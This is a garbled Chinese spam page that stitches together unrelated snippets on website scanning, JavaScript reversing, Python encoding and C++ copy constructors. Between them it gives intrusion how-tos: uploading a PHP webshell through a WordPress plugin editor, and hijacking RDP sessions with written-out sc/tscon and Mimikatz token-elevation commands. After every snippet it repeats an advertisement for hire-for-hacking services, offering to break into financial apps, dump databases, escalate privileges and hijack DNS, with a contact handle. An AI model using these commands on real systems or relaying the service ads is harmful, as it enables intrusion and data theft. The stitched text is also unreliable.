收集网站的路径目录信息
利用椰树对网站进行一个漏洞扫描（目录信息收集）
利用AWVS扫描器对网站进行一个全面的扫描，收集信息
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

定位到的那个函数代码以及同一层的代码全都贴到发条is里，给函数定义个名字，定义一个空的varn=0，调用定义的函数，传入123456执行代码获得了加密的返回值，与浏览器的结果一致，逆向完成
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

python2服务端提供一个读取文件的接口如上图
python3客户端请求上面py2的文件接口得到图中的text
由于2&3之间的编码异同，
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

由于fun成员函数里面的形参是Personp，这样会导致在调用这个fun函数时候，会传递过去的是实参的复制品，临时对象，并不是外面main函数的实参，这里可以在fun函数里修改一样形参就可以发现，外面的实参没发生改变
所以产生的临时对象给形参传参时候，在我们看来类似Personp=p实际上是Personp=temp而这句Personp=temp；就会发生贝构造函数啦，于此同时fun函数调用结束后，p的声明周期也就结束，所以还会多调用析构函数
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

Sqlinjection-Blind slinjection-LFI-RFI-XSS-CSRF等等
我们将使用Nikto来收集漏洞信息
rootbt/pentest/web/nikto ernikto.pl-nhack-test.com
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

登陆wordpress的后台wp-admin
尝试上传phpwebshell到服务器，以方便运行一些linux命令.在插件页面寻找任何可以编辑的插件.我们选择Textile这款插件，编辑插入我们的phpwebshell，点击更新文件，然后访问我们的phpwebshell
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

RDP会话劫持
如果攻击者在目标系统上获得本地管理员访问权限，则可能劫持其他用户的RDP会话。这也解决了攻击者对该用户的凭据需求。这项技术最初是由Alexander Korznikov发现的，在他的博客中已有描述。

可使用的可用会话列表可以在Windows任务管理器中的“Users“选项卡中查看。

金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

也可以从命令提示符中获取相同的信息。

query user
创建一个使用系统级权限执行tscon的服务，将劫持ID为3的会话。

sc create sesshijack binpath= "cmd.exe /k tscon 3 /dest:rdp-tcp#0" net start sesshijack
当服务启动时，用户“test”可以在不知道他密码的情况下使用netbiosX的会话。
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

Mimikatz也支持这种技术。 第一步是检索终端服务会话列表。

ts::sessions尝试直接使用会话1将失败，因为Mimikatz并未以SYSTEM权限执行。因此，下列命令将会将token从本地管理员提升到SYSTEM。这样一来，当再次使用其他会话时，将不需要提供用户的密码。

ts::remote /id:1 privilege::debug token::elevate
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM